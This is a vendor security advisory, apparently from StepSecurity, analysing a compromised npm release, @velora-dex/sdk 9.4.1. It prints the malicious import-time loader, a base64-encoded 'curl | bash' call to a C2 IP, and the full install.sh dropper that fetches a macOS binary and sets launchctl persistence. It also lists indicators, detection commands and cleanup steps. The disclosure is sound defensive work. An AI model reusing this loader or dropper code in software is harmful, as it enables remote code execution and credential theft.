Back to Blog

@velora-dex/sdk Compromised on npm: Malicious Version Drops macOS Backdoor via launchctl Persistence

A registry-only supply chain attack on @velora-dex/sdk delivers an architecture-aware macOS backdoor that fires the moment your code imports the package. No install hooks, no repo commits, no visible output.
Varun Sharma
View LinkedIn

April 7, 2026

Share on X
Share on X
Share on LinkedIn
Share on Facebook
Follow our RSS feed
Table of Contents

On April 7, 2026, a malicious version of @velora-dex/sdk (v9.4.1) was published to npm. The VeloraDEX SDK is a DeFi toolkit used for token swaps, limit orders, and delta trading on the VeloraDEX decentralized exchange platform. The compromised version contains code injected directly into dist/index.js that executes immediately when the package is imported. There is no install hook involved: the payload fires on the first require() or import call.

The injected code downloads a shell script from a C2 server at 89.36.224.5, which drops an architecture-specific macOS binary and registers it as a persistent service using launchctl. The malicious build was published straight to the npm registry with no corresponding commit in the source repository. You can find more details in StepSecurity AI package analyst here.

The compromise was initially reported by Charlie Eriksen from Aikido in GitHub isssue #233.

Action required: If you have installed @velora-dex/sdk@9.4.1, treat the machine and all secrets accessible from it as compromised. Pin to version 9.4.0 or earlier and rotate all credentials immediately.

How the Attack Works

Step 1: Registry-Only Code Injection

The attacker published version 9.4.1 directly to npm without making any changes to the GitHub repository. Comparing the published tarballs reveals that only two files differ between 9.4.0 and 9.4.1:

  • package.json: version bump from 9.4.0 to 9.4.1
  • dist/index.js: three malicious lines prepended

No src/ files, no other dist artifacts (sdk.cjs.production.min.js, sdk.esm.js, etc.) were modified. This is a hallmark of a registry-only attack where the malicious build was crafted and published outside the normal CI/CD pipeline.

Step 2: Payload Injection in dist/index.js

The package main entry point (dist/index.js) had three lines prepended before the legitimate code:

'use strict'

const {exec} = require('child_process');
exec(`echo 'bm9odXAgYmFzaCAtYyAiJChjdXJsIC1mc1NMIGh0dHA6Ly84OS4zNi4yMjQuNS90cm91Ymxlc2hvb3QvbWFjL2luc3RhbGwuc2gpIiA+IC9kZXYvbnVsbCAyPiYx' | (base64 --decode 2>/dev/null || base64 -D) | bash`, function(error, stdout, stderr) {});

This fires the moment any code calls require('@velora-dex/sdk'). Unlike many npm supply chain attacks that rely on postinstall hooks (which can be disabled with --ignore-scripts), this payload runs at import time, making it harder to avoid.

The base64 decodes to:

nohup bash -c "$(curl -fsSL http://89.36.224.5/troubleshoot/mac/install.sh)" > /dev/null 2>&1

Key details:

  • nohup detaches the process from the parent, so it survives even if the Node.js process exits
  • curl -fsSL downloads silently, following redirects
  • > /dev/null 2>&1 suppresses all output so the user sees nothing
  • The (base64 --decode 2>/dev/null || base64 -D) pattern handles both Linux (--decode) and macOS (-D) base64 implementations

Step 3: The install.sh Payload

StepSecurity's Harden-Runner captured the full install.sh script through process event monitoring during a controlled analysis run. Here is the complete payload:

TERMINAL_DIR="$HOME/Library/Application Support/com.apple.Terminal"
PROFILER_PATH="$TERMINAL_DIR/profiler"
mkdir -p "$TERMINAL_DIR"

if [[ "$(uname)" == "Darwin" ]]; then
    if [[ "$(uname -m)" == "arm64" ]]; then
        curl -fso "$PROFILER_PATH" http://89.36.224.5/mac/arm/driver/profiler
    else
        curl -fso "$PROFILER_PATH" http://89.36.224.5/mac/intel/driver/profiler
    fi
fi

chmod +x "$PROFILER_PATH"
launchctl submit -l zsh.profiler -- "$PROFILER_PATH"

The malware employs several evasion techniques:

  • Path masquerading: The binary is placed in ~/Library/Application Support/com.apple.Terminal/, a path that mimics a legitimate macOS Terminal application support directory. A human reviewing the filesystem would likely skip over it.
  • Binary naming: The dropped file is named profiler, a generic name that blends in with system tools.
  • Architecture-aware delivery: Separate binaries are served for Apple Silicon (ARM64) and Intel (x86_64) Macs, ensuring the malware runs natively on both architectures without Rosetta translation overhead.
  • launchctl persistence: The launchctl submit -l zsh.profiler command registers the binary as a persistent macOS service. It will survive reboots and run as the current user without requiring elevated privileges.
  • Darwin-only execution: The uname check ensures the binary download only occurs on macOS. On Linux CI runners (like GitHub Actions), the script runs but the if block is skipped, meaning no binary is downloaded, but the C2 connection to 89.36.224.5 is still made when curl fetches install.sh.

Runtime Validation with StepSecurity Harden-Runner

StepSecurity ran the compromised package in a controlled GitHub Actions environment with Harden-Runner in audit mode. This captured the complete kill chain: network connections, process tree, and file system activity.

https://app.stepsecurity.io/github/actions-security-demo/compromised-packages/actions/runs/24107839213?tab=network-events&jobId=70335366307

Network Events: C2 Contact Confirmed

Harden-Runner recorded the following network activity during the install-compromised-package job:

Step Destination Port Process
Install compromised package registry.npmjs.org 443 npm (PID 2362)
Import package to trigger runtime payload 89.36.224.5 80 curl (PID 2391)

The first row is expected: npm install downloading the package from the registry. The second row is the malicious C2 contact: curl reaching out to 89.36.224.5 over plaintext HTTP to download the install.sh dropper. This connection happened during the require() call, not during installation, confirming the import-time trigger.

Process Tree: The Full Kill Chain

Harden-Runner's process monitoring captured every process spawned during the attack. Here is the complete chain from the require() call to the final persistence attempt:

node (PID 2379) // require('@velora-dex/sdk')
  /bin/sh (PID 2386) echo '...' | base64 --decode | bash
    base64 (PID 2390) --decode
    bash (PID 2389)
      curl (PID 2391) -fsSL http://89.36.224.5/troubleshoot/mac/install.sh
      nohup bash (PID 2393) // executes install.sh
        mkdir (PID 2394) -p ~/Library/Application Support/com.apple.Terminal
        uname (PID 2395) // checks for Darwin (macOS)
        chmod (PID 2396) +x .../profiler

Notable observations from the process tree:

  • Total time from import to persistence attempt: ~330ms (PID 2379 at 22:38:50.529 to PID 2396 at 22:38:50.888)
  • nohup was used to detach the malware execution from the parent Node.js process, ensuring it continues running even if the importing script exits
  • On the Linux CI runner, uname returned Linux (not Darwin), so the binary download was skipped, but the directory creation and chmod still executed

View the full Harden-Runner insights for this run: Harden-Runner Insights Dashboard

⛔ curl http://89.36.224.5/troubleshoot/mac/install.sh → BLOCKED

This is what Harden-Runner does

Real-time network egress monitoring for GitHub Actions. The C2 callback to 89.36.224.5 would have been detected and blocked before the malware could download the binary or establish persistence.

Indicators of Compromise

  • C2 IP: 89.36.224.5
  • C2 URLs:
    • http://89.36.224.5/troubleshoot/mac/install.sh
    • http://89.36.224.5/mac/arm/driver/profiler (ARM64 binary)
    • http://89.36.224.5/mac/intel/driver/profiler (Intel binary)
  • Filesystem artifact: ~/Library/Application Support/com.apple.Terminal/profiler
  • Persistence mechanism: launchctl service named zsh.profiler
  • Compromised npm package: @velora-dex/sdk@9.4.1
  • Base64 payload: bm9odXAgYmFzaCAtYyAiJChjdXJsIC1mc1NMIGh0dHA6Ly84OS4zNi4yMjQuNS90cm91Ymxlc2hvb3QvbWFjL2luc3RhbGwuc2gpIiA+IC9kZXYvbnVsbCAyPiYx

Am I Affected?

Code Repositories

Search for the compromised version across all PRs and default branches in your organization:

Search for @velora-dex/sdk@9.4.1 across your organization →

You can also search your codebase directly:

# Search for the compromised version in lockfiles
grep -r "velora-dex/sdk" --include="package-lock.json" --include="yarn.lock" --include="pnpm-lock.yaml" .

# Check if version 9.4.1 is installed
npm list @velora-dex/sdk 2>/dev/null | grep 9.4.1

CI/CD Pipelines

Check your Harden-Runner org baseline for any outbound connections to the C2 server:

Check for connections to 89.36.224.5 in your Harden-Runner baseline →

If 89.36.224.5 appears in your baseline, the compromised package was imported in one of your workflow runs and successfully contacted the C2 server.

Developer Machines

Check for the malware on macOS machines:

# Check for the dropped binary
ls -la ~/Library/Application\ Support/com.apple.Terminal/profiler

# Check for the launchctl service
launchctl list | grep zsh.profiler

# Check npm cache for the compromised version
find ~/.npm/_cacache -name "*.tgz" 2>/dev/null | xargs strings 2>/dev/null | grep "89.36.224.5"

If you use StepSecurity Developer MDM, you can search for this package across all enrolled developer machines:

Search developer machines for @velora-dex/sdk@9.4.1 →

Recovery Steps

1. Pin to a safe version

npm install @velora-dex/sdk@9.4.0

2. Remove the malware (macOS)

If the compromised version was installed or imported on a macOS machine, remove the dropped binary and persistence mechanism:

# Stop and remove the persistent service
launchctl remove zsh.profiler

# Remove the dropped binary
rm -rf ~/Library/Application\ Support/com.apple.Terminal/profiler

# Remove the entire fake directory if empty
rmdir ~/Library/Application\ Support/com.apple.Terminal 2>/dev/null

3. Rotate credentials

Treat any secret that was present on the machine at the time of installation as compromised. This includes:

  • npm tokens and GitHub personal access tokens
  • SSH keys (~/.ssh/)
  • Cloud provider credentials (AWS, GCP, Azure)
  • Environment variables containing API keys
  • Browser-stored passwords and cookies
  • Cryptocurrency wallet keys and seed phrases

4. Review network logs

Check firewall or proxy logs for outbound connections to 89.36.224.5. Any connection to this IP confirms the malware executed and may have downloaded additional payloads.

Defense in Depth: How StepSecurity Protects Against This

Block C2 Traffic with Harden-Runner

Harden-Runner monitors all outbound network connections from GitHub Actions runners. In block mode, it would have prevented the curl call to 89.36.224.5 from succeeding, stopping the attack before the binary could be downloaded.

Catch It Before Merge with Package Cooldown

The npm Package Cooldown Check blocks newly published package versions from being adopted in pull requests until a configurable waiting period has elapsed. If a PR had introduced the upgrade to @velora-dex/sdk@9.4.1, the check would have flagged it as too new to trust.

Block Known Malicious Packages

The npm Compromised Package Check maintains a database of known malicious packages and blocks them from being introduced in pull requests. StepSecurity has added @velora-dex/sdk@9.4.1 to this list.

Discover Affected Developer Machines

StepSecurity Developer MDM provides visibility into which npm packages are installed on developer machines across your organization, enabling you to identify affected machines within minutes of a compromise disclosure.

Reference

Blog

Explore Related Posts